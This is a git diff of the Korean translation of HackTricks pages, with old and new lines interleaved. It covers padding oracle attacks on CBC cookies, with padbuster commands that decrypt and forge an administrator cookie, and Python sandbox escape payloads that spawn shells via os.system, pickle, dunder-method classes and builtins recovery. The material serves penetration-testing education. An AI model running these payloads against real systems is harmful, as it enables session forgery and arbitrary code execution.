* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
CBC 모드에서는 **이전에 암호화된 블록이 IV로 사용**되어 다음 블록과 XOR 연산을 수행합니다:
|
||||
CBC 모드에서는 **이전 암호화 블록이 IV로 사용되어** 다음 블록과 XOR 연산을 수행합니다:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
CBC를 복호화하려면 **반대로** **작업**을 수행합니다:
|
||||
CBC를 복호화하려면 **반대** **작업**을 수행합니다:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
**암호화 키**와 **IV**를 사용해야 함에 유의하세요.
|
||||
**암호화** **키**와 **IV**를 사용하는 것이 필요함을 주목하세요.
|
||||
|
||||
# 메시지 패딩
|
||||
|
||||
암호화는 **고정된 크기의 블록**에서 수행되므로 **마지막 블록**을 완성하기 위해 일반적으로 **패딩**이 필요합니다.\
|
||||
일반적으로 **PKCS7**이 사용되며, 패딩은 블록을 **완성**하기 위해 필요한 **바이트 수**를 **반복**하는 패딩을 생성합니다. 예를 들어, 마지막 블록이 3바이트 부족하면 패딩은 `\x03\x03\x03`이 됩니다.
|
||||
암호화는 **고정** **크기** **블록**으로 수행되므로, **마지막** **블록**의 길이를 완성하기 위해 **패딩**이 일반적으로 필요합니다.\
|
||||
보통 **PKCS7**이 사용되며, 이는 블록을 완성하는 데 필요한 **바이트** **수**를 반복하여 패딩을 생성합니다. 예를 들어, 마지막 블록이 3 바이트가 부족하면 패딩은 `\x03\x03\x03`이 됩니다.
|
||||
|
||||
**8바이트 길이의 2개 블록**에 대한 더 많은 예제를 살펴봅시다:
|
||||
**8바이트 길이의 2 블록**을 사용한 더 많은 예를 살펴보겠습니다:
|
||||
|
||||
| 바이트 #0 | 바이트 #1 | 바이트 #2 | 바이트 #3 | 바이트 #4 | 바이트 #5 | 바이트 #6 | 바이트 #7 | 바이트 #0 | 바이트 #1 | 바이트 #2 | 바이트 #3 | 바이트 #4 | 바이트 #5 | 바이트 #6 | 바이트 #7 |
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
마지막 예제에서 **마지막 블록이 가득 찼으므로 패딩만 있는 다른 블록이 생성**되었음을 주목하세요.
|
||||
마지막 예에서 **마지막 블록이 가득 차서 패딩만으로 생성된 또 다른 블록이 생성된** 것을 주목하세요.
|
||||
|
||||
# 패딩 오라클
|
||||
|
||||
응용 프로그램이 암호화된 데이터를 복호화하면 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩을 정리하는 동안 **잘못된 패딩이 감지 가능한 동작을 유발**하면 **패딩 오라클 취약점**이 있습니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **응답이 느림**일 수 있습니다.
|
||||
애플리케이션이 암호화된 데이터를 복호화할 때, 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩 정리 중에 **잘못된 패딩이 감지 가능한 동작을 유발하면**, **패딩 오라클 취약점**이 발생합니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **느린 응답**일 수 있습니다.
|
||||
|
||||
이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **임의의 평문을 암호화**할 수 있습니다.
|
||||
이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **어떤 평문도 암호화**할 수 있습니다.
|
||||
|
||||
## 악용 방법
|
||||
## 어떻게 악용할 것인가
|
||||
|
||||
[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용하여 이러한 종류의 취약점을 악용하거나 단순히 수행할 수 있습니다.
|
||||
이러한 종류의 취약점을 악용하기 위해 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용할 수 있습니다.
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
사이트의 쿠키가 취약한지 테스트하려면 다음을 시도할 수 있습니다:
|
||||
사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다 (그러나 다른 것들도 사용할 수 있습니다, 도움 메뉴를 확인하세요).
|
||||
**Encoding 0**는 **base64**가 사용된다는 것을 의미합니다 (하지만 다른 인코딩도 사용 가능하니 도움말 메뉴를 확인하세요).
|
||||
|
||||
또한 이 취약점을 악용하여 새 데이터를 암호화할 수 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"인 경우, 이를 "\_user=administrator\_"로 변경하여 응용 프로그램 내에서 권한을 상승시킬 수 있습니다. 또한 `-plaintext` 매개변수를 지정하여 `paduster`를 사용하여 이를 수행할 수도 있습니다:
|
||||
이 취약점을 **악용하여 새로운 데이터를 암호화할 수도 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"이라고 가정하면, 이를 "\_user=administrator\_"로 변경하여 애플리케이션 내에서 권한을 상승시킬 수 있습니다. `paduster`를 사용하여 -plaintext** 매개변수를 지정하여 이를 수행할 수도 있습니다:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
만약 사이트가 취약하다면 `padbuster`는 자동으로 패딩 오류가 발생할 때 찾으려고 시도할 것이지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
|
||||
사이트가 취약한 경우 `padbuster`는 패딩 오류가 발생할 때를 자동으로 찾으려고 시도하지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## 이론
|
||||
|
||||
**요약**하면, 모든 **다른 패딩**을 만들 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음, 패딩 오라클 공격은 **1, 2, 3 등의 패딩을 만드는 올바른 값**을 추측하여 시작하여 끝에서 시작하여 바이트를 복호화하기 시작합니다.
|
||||
**요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음 패딩 오라클 공격이 시작되어 1, 2, 3 등의 패딩을 생성하는 올바른 값을 추측하면서 끝에서 시작으로 바이트를 복호화합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
**E0에서 E15**까지의 바이트로 구성된 **2개 블록**을 차지하는 암호화된 텍스트가 있다고 상상해보십시오.\
|
||||
**마지막 블록(E8에서 E15)**을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 통해 **중간 바이트 I0에서 I15**를 생성합니다.\
|
||||
마지막으로, 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 그래서:
|
||||
암호화된 텍스트가 **E0에서 E15**까지의 바이트로 형성된 **2 블록**을 차지한다고 가정해 보겠습니다.\
|
||||
**마지막** **블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 거쳐 **중간 바이트 I0에서 I15**를 생성합니다.\
|
||||
마지막으로 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -83,27 +88,47 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
이제, `C15`가 `0x01`이 될 때까지 `E7`을 수정할 수 있습니다. 이것도 올바른 패딩이 될 것입니다. 따라서, 이 경우에는: `\x01 = I15 ^ E'7`
|
||||
이제 **C15가 `0x01`이 될 때까지 `E7`을 수정하는 것이 가능**합니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7`
|
||||
|
||||
그래서, `E'7`을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
|
||||
따라서 E'7을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
이로써 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
이로 인해 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
**C15**를 알게 되면, 이제 **C14를 계산할 수 있습니다**. 이번에는 패딩 `\x02\x02`를 브루트 포싱하여 계산합니다.
|
||||
**C15**를 알면 이제 **C14를 계산할 수 있습니다**, 하지만 이번에는 패딩 `\x02\x02`를 브루트 포스해야 합니다.
|
||||
|
||||
이 BF는 이전 것만큼 복잡합니다. `E''15`의 값이 0x02인 `E''7 = \x02 ^ I15`를 계산할 수 있으므로 **`C14`가 `0x02`와 같은 `E'14`를 찾기만 하면 됩니다**.\
|
||||
그런 다음, C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14`가 `0x02`가 되도록 생성하는 `E'14`**를 찾기만 하면 됩니다.\
|
||||
그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**전체 암호화된 텍스트를 복호화할 때까지 이 체인을 따릅니다.**
|
||||
**이 체인을 따라 전체 암호화된 텍스트를 복호화할 때까지 진행하십시오.**
|
||||
|
||||
## 취약점 탐지
|
||||
|
||||
계정을 등록하고 이 계정으로 로그인합니다.\
|
||||
**여러 번 로그인**하고 항상 **동일한 쿠키**를 받으면 응용 프로그램에 **문제가 있을 수 있습니다**. 로그인할 때마다 **반드시 고유한 쿠키**가 반환되어야 합니다. 쿠키가 **항상** **동일하면**, 아마도 항상 유효하고 **무효화할 수 있는 방법이 없을 것입니다**.
|
||||
계정을 등록하고 이 계정으로 로그인하십시오.\
|
||||
**여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성**이 높습니다. **전송된 쿠키는 매번 고유해야** 합니다. 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다.**
|
||||
|
||||
이제, **쿠키를 수정**하려고 하면 응용 프로그램에서 **오류**가 발생하는 것을 볼 수 있습니다.\
|
||||
그러나 패딩을 브루트 포싱하여 (예: 패드버스터 사용) 다른 사용자에 대해 유효한 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 패드버스터에 취약할 가능성이 높습니다.
|
||||
이제 **쿠키를 수정**하려고 하면 애플리케이션에서 **오류**가 발생하는 것을 볼 수 있습니다.\
|
||||
하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에 대해 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 높습니다.
|
||||
|
||||
## 참고 자료
|
||||
## 참고 문헌
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,11 +15,21 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
|
||||
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
|
||||
|
||||
## Command Execution Libraries
|
||||
## 명령 실행 라이브러리
|
||||
|
||||
첫 번째로 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -52,7 +62,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
기억하세요, _**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
|
||||
기억하세요, _**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 해줍니다.
|
||||
|
@ -68,7 +78,7 @@ Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고
|
|||
|
||||
여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
pickle을 통해 python 환경이 시스템에 설치된 **임의의 라이브러리를 가져올 수 있습니다**.\
|
||||
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져올 것입니다:
|
||||
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져오게 됩니다:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -152,7 +162,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## 인코딩을 통한 보호 우회 (UTF-7)
|
||||
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하기 위해 UTF-7이 사용됩니다:
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7을 사용하여 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행합니다:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -191,13 +201,13 @@ X = exec(X)
|
|||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE 객체 생성 및 오버로딩
|
||||
### RCE 객체 생성 및 오버로드
|
||||
|
||||
클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||
당신이 **클래스를 선언**하고 그 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||
|
||||
#### 사용자 정의 클래스를 통한 RCE
|
||||
|
||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고도** **트리거될 때 임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -266,7 +276,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 예외로 객체 생성하기
|
||||
|
||||
**예외가 발생하면** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||
**예외가 발생할 때** **Exception**의 객체가 **생성**되며, 직접 생성자를 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -319,8 +329,8 @@ pass
|
|||
```
|
||||
## Builtins
|
||||
|
||||
* [**python2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
||||
* [**python3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
||||
* [**파이썬2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
||||
* [**파이썬3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
**`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
|
||||
```python
|
||||
|
@ -332,7 +342,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
`__builtins__`가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...) **가 로드되지 않기 때문입니다.**\
|
||||
그러나 **기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다.** 이 모듈들은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 가져오고 있어 이를 통해 **임의 코드 실행**을 얻을 수 있습니다.
|
||||
|
||||
다음 예제에서는 **이용**할 수 있는 **"무해한"** 모듈을 어떻게 **악용**하여 **위험한** **기능**에 **접근**할 수 있는지를 관찰할 수 있습니다.
|
||||
다음 예제에서는 **이 "무해한"** 모듈을 **악용**하여 **내부의** **위험한** **기능**에 **접근하는** 방법을 관찰할 수 있습니다.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -374,7 +384,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**를 찾을 수 있습니다.
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **builtins**을 찾습니다.
|
||||
|
||||
#### Python2 및 Python3
|
||||
```python
|
||||
|
@ -424,7 +434,7 @@ class_obj.__init__.__globals__
|
|||
|
||||
#### 우회로 서브클래스에 접근하기
|
||||
|
||||
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는 것**입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
||||
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 수행되었지만 **다른 가능한 방법**도 있습니다:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -698,16 +708,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||
노트: 일반적인 방법으로 **속성**에 **점**을 사용하여 접근할 수 있습니다 `people_obj.__init__`와 **딕셔너리 요소**에 **괄호**를 사용하여 인용 없이 `__globals__[CONFIG]`
|
||||
|
||||
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있음을 주목하십시오 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있습니다 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||
형식 문자열의 다른 흥미로운 특성은 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
또한, 클래스에서 **새로운 포맷터를 코드화**하는 것이 가능합니다:
|
||||
또한, 클래스에서 **새로운 포매터를 코드화**하는 것이 가능합니다:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -752,7 +762,7 @@ str(x) # Out: clueless
|
|||
|
||||
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 더 확인할 수 있습니다.
|
||||
|
||||
파이썬 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에) `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
|
||||
파이썬의 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
|
||||
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
|
||||
|
||||
파이썬에서 그런 가젯을 찾기 위해, 이 글에서는 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
|
||||
|
@ -777,7 +787,7 @@ return getattr(self, name)
|
|||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
이 장치는 **디스크에서 라이브러리를 로드**할 수 있게 해줍니다. 따라서, 공격받는 서버에 **정확하게 컴파일된 라이브러리를 작성하거나 업로드**하는 방법이 필요합니다.
|
||||
이 도구는 **디스크에서 라이브러리를 로드**할 수 있게 해줍니다. 따라서, 공격받는 서버에 올바르게 컴파일된 라이브러리를 **작성하거나 업로드**하는 방법이 필요합니다.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
|
@ -811,7 +821,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용을 볼 수 있습니다:
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -824,7 +834,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **함수 코드 접근하기**
|
||||
|
||||
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을 수** 있습니다.
|
||||
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을** 수 있습니다.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -838,7 +848,7 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### 코드 정보 얻기
|
||||
### 코드 정보 가져오기
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -934,7 +944,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Python 컴파일
|
||||
## Compiling Python
|
||||
|
||||
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
|
||||
다음 예제와 같이, 그 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
||||
|
@ -997,7 +1007,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
